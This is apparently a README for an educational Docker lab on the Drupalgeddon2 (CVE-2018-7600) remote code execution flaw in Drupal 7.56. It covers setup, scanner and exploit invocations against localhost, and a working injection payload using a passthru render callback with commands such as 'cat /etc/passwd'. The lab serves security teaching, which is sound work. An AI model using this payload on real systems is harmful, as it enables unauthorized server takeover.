CVE-2018-7600 Drupalgeddon2 Vulnerability Lab

Educational lab demonstrating exploitation of CVE-2018-7600 (Drupalgeddon2) using a vulnerable Drupal 7.56 environment deployed with Docker.

This project simulates a real-world vulnerability assessment workflow, including:

• Vulnerable environment setup
• Detection (scanner)
• Exploitation (RCE)
• Payload analysis
• Documentation

Vulnerability Overview

CVE-2018-7600 (Drupalgeddon2) is a critical Remote Code Execution (RCE) vulnerability in the Drupal CMS.

The issue exists in Drupal’s Form API, where user-controlled input can be interpreted as render arrays, allowing attackers to inject malicious callbacks such as:

• passthru
• system
• exec

This leads to unauthenticated command execution on the server.

Impact

• Remote Code Execution
• No authentication required
• Full server compromise

Target Version

• Drupal 7.56 (vulnerable)

Lab Architecture

Attacker (Kali Linux)
|
| HTTP Requests
v
Drupal 7.56 (Vulnerable)
|
v
MySQL Database

Technologies Used

• Docker
• Docker Compose
• Drupal CMS
• MySQL
• Kali Linux
• Python (Exploit & Scanner)

Repository Structure

cve-2018-7600-drupalgeddon2-lab
│
├── README.md
├── setup.md
├── scan.py
├── exploit.py
│
├── lab-setup/
│   └── docker-compose.yml
│
├── screenshots/
│   ├── drupal-dashboard.png
│   ├── drupal-version.png
│   └── rce-output.png
│
├── logs/
│   ├── scan_results.txt
│   └── exploit_log.txt
│
├── payloads/
│   └── payload-list.txt
│
├── report/
│   └── drupalgeddon2-report.pdf

Screenshots

Drupal Dashboard

Version Confirmation

Quick Start

Clone Repository

git clone https://github.com/Meraj1312/cve-2018-7600-drupalgeddon2-lab.git
cd cve-2018-7600-drupalgeddon2-lab

Start Lab

docker compose up -d

Access Target

http://localhost:8080

Detection & Exploitation

1. Scan for Vulnerability

python3 scan.py http://localhost:8080

Example output:

[~] Scanning http://localhost:8080... VULNERABLE

2. Exploit (RCE)

python3 exploit.py http://localhost:8080 id

Example output:

uid=33(www-data) gid=33(www-data)

Payload Example

Basic payload structure used:

name[#post_render][]=passthru
name[#type]=markup
name[#markup]=whoami

Example commands:

whoami
id
cat /etc/passwd

Full payload list available in:

payloads/payload-list.txt

Documentation Strategy

To maintain a clean and professional repository structure:

README contains:

• Overview of the vulnerability
• Lab setup instructions
• Basic payload examples
• How to run scanner and exploit

PDF Report (report/drupalgeddon2-report.pdf) contains:

• Detailed exploitation steps
• Burp Suite requests and responses
• Payload testing results
• Execution screenshots
• Technical explanation of the vulnerability

This separation ensures:

• Clean GitHub presentation
• Complete technical documentation

Educational Purpose

This lab is intended for:

• Cybersecurity students
• Penetration testing practice
• Vulnerability research
• Exploit development learning

Disclaimer

This project is for educational and research purposes only.

Do not attempt to exploit systems without explicit authorization.

The authors are not responsible for misuse.